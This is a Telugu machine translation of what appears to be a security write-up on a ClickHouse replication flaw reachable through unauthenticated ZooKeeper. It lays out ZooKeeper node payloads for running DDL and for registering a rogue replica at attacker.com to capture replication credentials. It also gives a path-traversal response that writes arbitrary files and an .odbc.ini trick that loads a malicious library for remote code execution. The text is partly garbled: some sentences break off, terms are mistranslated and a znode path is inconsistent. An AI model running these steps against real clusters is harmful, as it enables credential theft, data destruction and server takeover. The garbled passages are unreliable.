ఈ కథనం ClickHouse రెప్లికేషన్ ప్రోటోకాల్లో చాలా నిర్దిష్టమైన దుర్బలత్వం యొక్క కథనాన్ని తెలియజేస్తుంది మరియు దాడి ఉపరితలాన్ని ఎలా విస్తరించవచ్చో కూడా చూపుతుంది.
ClickHouse అనేది పెద్ద మొత్తంలో డేటాను నిల్వ చేయడానికి ఒక డేటాబేస్, చాలా తరచుగా ఒకటి కంటే ఎక్కువ ప్రతిరూపాలను ఉపయోగిస్తుంది. క్లిక్హౌస్లో క్లస్టరింగ్ మరియు రెప్లికేషన్ పైన నిర్మించబడ్డాయి
డిఫాల్ట్ ZK ఇన్స్టాలేషన్కు ప్రమాణీకరణ అవసరం లేదు, కాబట్టి కాఫ్కా, హడూప్, క్లిక్హౌస్ కాన్ఫిగర్ చేయడానికి ఉపయోగించే వేలాది ZK సర్వర్లు పబ్లిక్గా అందుబాటులో ఉన్నాయి.
మీ దాడి ఉపరితలాన్ని తగ్గించడానికి, ZooKeeperని ఇన్స్టాల్ చేస్తున్నప్పుడు మీరు ఎల్లప్పుడూ ప్రామాణీకరణ మరియు అధికారాన్ని కాన్ఫిగర్ చేయాలి
వాస్తవానికి కొన్ని 0రోజుల ఆధారిత జావా డీరియలైజేషన్లు ఉన్నాయి, అయితే దాడి చేసే వ్యక్తి క్లిక్హౌస్ రెప్లికేషన్ కోసం ఉపయోగించే ZooKeeperకి చదవవచ్చు మరియు వ్రాయవచ్చు.
క్లస్టర్ మోడ్లో కాన్ఫిగర్ చేసినప్పుడు, ClickHouse పంపిణీ చేయబడిన ప్రశ్నలకు మద్దతు ఇస్తుంది /clickhouse/task_queue/ddl
.
ఉదాహరణకు, మీరు ఒక నోడ్ను సృష్టించండి /clickhouse/task_queue/ddl/query-0001
కంటెంట్తో:
version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']
మరియు ఆ తర్వాత, క్లస్టర్ సర్వర్ల హోస్ట్1 మరియు హోస్ట్2లో టెస్ట్ టేబుల్ తొలగించబడుతుంది. DDL CREATE/ALTER/DROP ప్రశ్నలను అమలు చేయడానికి కూడా మద్దతు ఇస్తుంది.
భయంగా ఉంది కదూ? అయితే దాడి చేసే వ్యక్తి సర్వర్ చిరునామాలను ఎక్కడ పొందవచ్చు?
CREATE TABLE foobar
(
`action_id` UInt32 DEFAULT toUInt32(0),
`status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;
నోడ్స్ సృష్టించబడతాయి నిలువు и మెటాడేటా.
విషయాల /clickhouse/tables/01/foobar/replicas/chXX/hosts:
host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
ఈ క్లస్టర్ నుండి డేటాను విలీనం చేయడం సాధ్యమేనా? అవును, ప్రతిరూపణ పోర్ట్ అయితే (TCP/9009
) సర్వర్లో chXX-address
ఫైర్వాల్ మూసివేయబడదు మరియు ప్రతిరూపణ కోసం ప్రమాణీకరణ కాన్ఫిగర్ చేయబడదు. ప్రమాణీకరణను ఎలా దాటవేయాలి?
దాడి చేసే వ్యక్తి ZK నుండి కంటెంట్లను కాపీ చేయడం ద్వారా కొత్త ప్రతిరూపాన్ని సృష్టించవచ్చు /clickhouse/tables/01-01/foobar/replicas/chXX
మరియు అర్థాన్ని మార్చడం host
.
విషయాల /clickhouse/tables/01–01/foobar/replicas/attacker/host:
host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
దాడి చేసేవారి సర్వర్లో వారు తీసుకోవలసిన కొత్త బ్లాక్ డేటా ఉందని మీరు ఇతర ప్రతిరూపాలకు తెలియజేయాలి - ZKలో నోడ్ సృష్టించబడుతుంది /clickhouse/tables/01-01/foobar/log/log-00000000XX
(XX మోనోటోనికల్గా పెరుగుతున్న కౌంటర్, ఈవెంట్ లాగ్లో చివరిదాని కంటే ఎక్కువగా ఉండాలి):
format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2
పేరు మూలం_ప్రతిరూపం - మునుపటి దశలో సృష్టించబడిన దాడి చేసే వ్యక్తి యొక్క ప్రతిరూపం పేరు, block_id - డేటా బ్లాక్ ఐడెంటిఫైయర్, పొందుటకు - "గెట్ బ్లాక్" కమాండ్ (మరియు
తర్వాత, ప్రతి ప్రతిరూపం లాగ్లో కొత్త ఈవెంట్ను చదువుతుంది మరియు డేటా బ్లాక్ను స్వీకరించడానికి దాడి చేసేవారిచే నియంత్రించబడే సర్వర్కి వెళుతుంది (రెప్లికేషన్ ప్రోటోకాల్ బైనరీ, HTTP పైన నడుస్తుంది). సర్వర్ attacker.com
అభ్యర్థనలను అందుకుంటారు:
POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX
ఇక్కడ XXX అనేది ప్రతిరూపణ కోసం ప్రమాణీకరణ డేటా. కొన్ని సందర్భాల్లో, ఇది ప్రధాన ClickHouse ప్రోటోకాల్ మరియు HTTP ప్రోటోకాల్ ద్వారా డేటాబేస్కు యాక్సెస్ ఉన్న ఖాతా కావచ్చు. మీరు చూసినట్లుగా, ప్రతిరూపణ కోసం ఉపయోగించిన ZooKeeper, ప్రామాణీకరణ కాన్ఫిగర్ చేయకుండా వదిలివేయబడినందున దాడి ఉపరితలం చాలా పెద్దదిగా మారుతుంది.
ప్రతిరూపం నుండి డేటా బ్లాక్ను పొందడం యొక్క పనితీరును చూద్దాం, అన్ని ప్రతిరూపాలు సరైన నియంత్రణలో ఉన్నాయని మరియు వాటి మధ్య నమ్మకం ఉందని పూర్తి విశ్వాసంతో వ్రాయబడింది.
ప్రతిరూపణ ప్రాసెసింగ్ కోడ్
ఫంక్షన్ ఫైల్ల జాబితాను చదువుతుంది, ఆపై వాటి పేర్లు, పరిమాణాలు, కంటెంట్లు, ఆపై వాటిని ఫైల్ సిస్టమ్కు వ్రాస్తుంది. ఫైల్ సిస్టమ్లో డేటా ఎలా నిల్వ చేయబడుతుందో ప్రత్యేకంగా వివరించడం విలువ.
లో అనేక ఉప డైరెక్టరీలు ఉన్నాయి /var/lib/clickhouse
(కాన్ఫిగరేషన్ ఫైల్ నుండి డిఫాల్ట్ నిల్వ డైరెక్టరీ):
జెండాలు - రికార్డింగ్ కోసం డైరెక్టరీ
tmp — తాత్కాలిక ఫైళ్లను నిల్వ చేయడానికి డైరెక్టరీ;
user_files — అభ్యర్థనలలోని ఫైల్లతో కార్యకలాపాలు ఈ డైరెక్టరీకి పరిమితం చేయబడ్డాయి (ఇన్టు అవుట్ఫైల్ మరియు ఇతరులు);
మెటాడేటా — పట్టిక వివరణలతో sql ఫైళ్లు;
preprocessed_configs - నుండి ప్రాసెస్ చేయబడిన డెరివేటివ్ కాన్ఫిగరేషన్ ఫైల్స్ /etc/clickhouse-server
;
సమాచారం - డేటాతో ఉన్న అసలు డైరెక్టరీ, ఈ సందర్భంలో ప్రతి డేటాబేస్ కోసం ప్రత్యేక ఉప డైరెక్టరీ ఇక్కడ సృష్టించబడుతుంది (ఉదాహరణకు. /var/lib/clickhouse/data/default
).
ప్రతి పట్టిక కోసం, డేటాబేస్ డైరెక్టరీలో ఉప డైరెక్టరీ సృష్టించబడుతుంది. ప్రతి నిలువు వరుస ఒక ప్రత్యేక ఫైల్
action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2
ప్రతిరూపం డేటా బ్లాక్ను ప్రాసెస్ చేస్తున్నప్పుడు అదే పేర్లతో ఫైల్లను స్వీకరించాలని ఆశిస్తుంది మరియు వాటిని ఏ విధంగానూ ధృవీకరించదు.
ఒక ఫంక్షన్లో ఫైల్_పేరు యొక్క అసురక్షిత కలయిక గురించి శ్రద్ధగల రీడర్ బహుశా ఇప్పటికే విని ఉండవచ్చు WriteBufferFromFile
. అవును, ఇది దాడి చేసే వ్యక్తిని వినియోగదారు హక్కులతో FSలోని ఏదైనా ఫైల్కి ఏకపక్ష కంటెంట్ని వ్రాయడానికి అనుమతిస్తుంది clickhouse
. దీన్ని చేయడానికి, దాడి చేసేవారిచే నియంత్రించబడే ప్రతిరూపం తప్పనిసరిగా అభ్యర్థనకు క్రింది ప్రతిస్పందనను అందించాలి (అవగాహన సౌలభ్యం కోసం లైన్ బ్రేక్లు జోడించబడ్డాయి):
x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper
మరియు సంయోగం తర్వాత ../../../../../../../../../tmp/pwned
ఫైల్ వ్రాయబడుతుంది /tmp/pwned కంటెంట్ తో hellofromzookeeper.
ఫైల్ రైటింగ్ సామర్థ్యాన్ని రిమోట్ కోడ్ ఎగ్జిక్యూషన్ (RCE)గా మార్చడానికి అనేక ఎంపికలు ఉన్నాయి.
RCEలో బాహ్య నిఘంటువులు
పాత సంస్కరణల్లో, ClickHouse సెట్టింగ్లతో డైరెక్టరీ వినియోగదారు హక్కులతో నిల్వ చేయబడింది క్లిక్హౌస్ డిఫాల్ట్. సెట్టింగ్ల ఫైల్లు XML ఫైల్లు, ఇవి సేవ ప్రారంభంలో చదివి ఆపై కాష్లో ఉంటాయి /var/lib/clickhouse/preprocessed_configs
. మార్పులు సంభవించినప్పుడు, అవి మళ్లీ చదవబడతాయి. మీరు యాక్సెస్ కలిగి ఉంటే /etc/clickhouse-server
దాడి చేసే వ్యక్తి తన స్వంతంగా సృష్టించుకోగలడు root
.
ODBC నుండి RCE
ప్యాకేజీని ఇన్స్టాల్ చేస్తున్నప్పుడు, వినియోగదారు సృష్టించబడతారు clickhouse
, కానీ దాని హోమ్ డైరెక్టరీ సృష్టించబడలేదు /nonexistent
. అయితే, బాహ్య నిఘంటువులను ఉపయోగిస్తున్నప్పుడు లేదా ఇతర కారణాల వల్ల, నిర్వాహకులు డైరెక్టరీని సృష్టిస్తారు /nonexistent
మరియు వినియోగదారుకు ఇవ్వండి clickhouse
దానికి వ్రాయడానికి యాక్సెస్ (SSZB! సుమారు అనువాదకుడు).
ClickHouse సపోర్ట్ చేస్తుంది odbc-bridge
, కాబట్టి అభ్యర్థన నుండి డ్రైవర్ మార్గాన్ని పేర్కొనడం ఇకపై సాధ్యం కాదు. అయితే దాడి చేసే వ్యక్తి పైన వివరించిన దుర్బలత్వాన్ని ఉపయోగించి హోమ్ డైరెక్టరీకి వ్రాయవచ్చా?
ఫైల్ని క్రియేట్ చేద్దాం ~/.odbc.ini
ఇలాంటి కంటెంట్తో:
[lalala]
Driver=/var/lib/clickhouse/user_files/test.so
అప్పుడు ప్రారంభంలో SELECT * FROM odbc('DSN=lalala', 'test', 'test');
లైబ్రరీ లోడ్ చేయబడుతుంది test.so
మరియు RCE అందుకుంది (ధన్యవాదాలు
ఇవి మరియు ఇతర దుర్బలత్వాలు ClickHouse వెర్షన్ 19.14.3లో పరిష్కరించబడ్డాయి. మీ క్లిక్హౌస్ మరియు జూ కీపర్లను జాగ్రత్తగా చూసుకోండి!
మూలం: www.habr.com